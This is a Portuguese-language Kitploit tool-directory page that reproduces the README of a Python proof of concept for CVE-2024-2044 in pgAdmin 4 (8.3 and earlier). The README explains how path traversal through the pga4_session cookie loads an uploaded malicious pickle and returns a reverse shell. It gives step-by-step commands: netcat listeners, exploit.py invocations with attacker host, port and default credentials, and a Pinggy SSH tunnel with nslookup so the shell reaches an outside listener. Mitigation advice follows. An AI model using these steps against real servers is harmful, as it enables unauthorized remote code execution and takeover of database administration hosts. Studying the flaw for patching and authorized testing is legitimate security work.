Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-2044 — PoC em Python que explora a CVE-2024-2044 no pgAdmin 4 (<=8.3) por meio de path traversal autenticado e desserialização insegura de pickle para obter execução remota de código e reverse shell. | Kitploit
Ferramentas/GitHubGitHub/hanzzly/cve-2024-2044
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebPós-ExploraçãoSegurança WebTestes de PenetraçãoFerramenta de Acesso RemotoDesenvolvimento de Payloads
GitHubhanzzly/cve-2024-2044

CVE-2024-2044

PoC em Python que explora a CVE-2024-2044 no pgAdmin 4 (<=8.3) por meio de path traversal autenticado e desserialização insegura de pickle para obter execução remota de código e reverse shell.

113há 21 diasAinda não revisado
Ver Repositório

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

PoC CVE-2024-2044: pgAdmin 4 RCE Autenticado (Linux/POSIX)

Este repositório contém um script Proof of Concept (PoC) para CVE-2024-2044, uma vulnerabilidade crítica que combina Authenticated Path Traversal e Unsafe Deserialization no pgAdmin 4 (versões 8.3 e anteriores) executando em ambiente Linux/POSIX.

[!WARNING] DISCLAIMER: Este código foi criado apenas para fins educacionais, pesquisa de segurança e testes de penetração autorizados (authorized pentesting). O uso indevido deste código para atacar alvos sem autorização por escrito é uma ação ilegal e viola a lei.


Descrição da Vulnerabilidade

No pgAdmin 4 em modo servidor em ambiente Linux, o gerenciamento de sessão é armazenado na forma de arquivos locais. A vulnerabilidade ocorre porque a função FileBackedSessionManager.get() aceita o valor do cookie HTTP pga4_session e o concatena ao caminho do diretório usando os.path.join sem sanitizar caracteres de manipulação de caminho (../).

Este script PoC explora essa falha com o seguinte fluxo:

  1. Autenticação: Realiza login automático usando credenciais válidas para obter uma sessão ativa e contornar o token CSRF.
  2. Upload de Payload: Utiliza o utilitário Storage Manager integrado para enviar um objeto Python pickle malicioso contendo um comando de Reverse Shell. Este arquivo é armazenado sob o diretório de armazenamento do usuário (ex.: /storage/nome_usuario/).
  3. Trigger Path Traversal: Envia uma requisição HTTP de volta para /login manipulando o cookie pga4_session para um caminho relativo apontando para o arquivo pickle enviado (ex.: ../storage/nome_usuario/file.pickle!). O caractere ! é usado para se adequar à busca de extensão de arquivo de sessão no pgAdmin 4.
  4. Execução de Código (RCE): O servidor pgAdmin 4 é enganado para ler o arquivo e processá-lo com pickle.loads(). Como resultado, o payload executa um processo Python separado (detached) que lança um Reverse Shell para o atacante.

Pré-requisitos (Prerequisites)

  • Alvo: pgAdmin 4 <= 8.3 (Server Mode) executando em Linux/POSIX.
  • Acesso: Requer uma conta de login válida (Username & Password).
  • Dependências do Script: Python 3 e a biblioteca requests.

Guia de Uso

Opção A: Usando IP Público Direto (Local/VPN)

  1. Abra a porta do netcat na sua máquina para receber a conexão do reverse shell:
    nc -lvnp 4444
    
  2. Execute o script de exploração:
    python3 exploit.py -t http://<TARGET_IP>:<PORT> -u "[email protected]" -p "player123" -lhost <IP_ATTACKER> -lport 4444
    

Opção B: Usando Port Forwarding (Pinggy.io)

Se a sua máquina estiver atrás de NAT/Router e precisar de tunnelling público, você pode usar o serviço Pinggy.io com os seguintes passos:

1. Execute o Netcat Listener Local

Inicie o nc na máquina local primeiro usando a porta de sua escolha (ex.: porta 1337):

nc -lvnp 1337

2. Execute o Pinggy Tunnel

Abra um novo terminal e execute o comando SSH do Pinggy. Certifique-se de que a porta local no final (1337) corresponda à porta nc que você iniciou anteriormente:

ssh -p 443 -R0:localhost:1337 [email protected]

Após conectar, o Pinggy fornecerá uma URL pública TCP, por exemplo: tcp://ubylm-103-79-246-198.run.pinggy-free.link:43143 image

Nota: A porta pública obtida do Pinggy é 43143 (Esta será o -lport posteriormente).

3. Descubra o IP Real do Pinggy (Obtendo o LHOST)

O servidor pgAdmin 4 alvo requer o formato de endereço IP real para a conexão socket do reverse shell. Faça um nslookup no domínio da sua URL do Pinggy:

nslookup ubylm-103-79-246-198.run.pinggy-free.link

A saída mostrará o IP público do servidor Pinggy (escolha o IPv4 na seção Address mais acima):

Non-authoritative answer:
ubylm-103-79-246-198.run.pinggy-free.link       canonical name = lin.ap.12.a.pinggy.click.
Name:   lin.ap.12.a.pinggy.click
Address: 172.236.148.125

Da saída acima, obtém-se o IP real do Pinggy: 172.236.148.125.

image

4. Execute o Script de Exploração

Execute o script PoC inserindo o IP resultante do nslookup como -lhost e a porta pública do Pinggy como -lport:

python3 exploit.py -t http://<TARGET_IP>:<PORT> -u "[email protected]" -p "player123" -lhost 172.236.148.125 -lport 43143
image image

Parâmetros de Opção do Script

  • -t, --target : URL do alvo pgAdmin 4 (Obrigatório).
  • -u, --username: Email/Username de login (Padrão: [email protected]).
  • -p, --password: Senha de login (Padrão: player123).
  • -lhost : Endereço IP do atacante / IP resultante do nslookup do Pinggy (Obrigatório).
  • -lport : Porta do listener do atacante / Porta pública do Pinggy (Obrigatório).

Mitigação

Esta vulnerabilidade foi corrigida no pgAdmin 4 versão 8.4. Se você gerencia um servidor vulnerável, tome as seguintes ações imediatamente:

  1. Atualize o pgAdmin 4 para a versão 8.4 ou mais recente.
  2. Restrinja o acesso de rede ao painel do pgAdmin 4 usando VPN ou Firewall Whitelist.
  3. Certifique-se de que o processo do pgAdmin 4 seja executado com privilégios de usuário comum (non-root).
Baixar ferramenta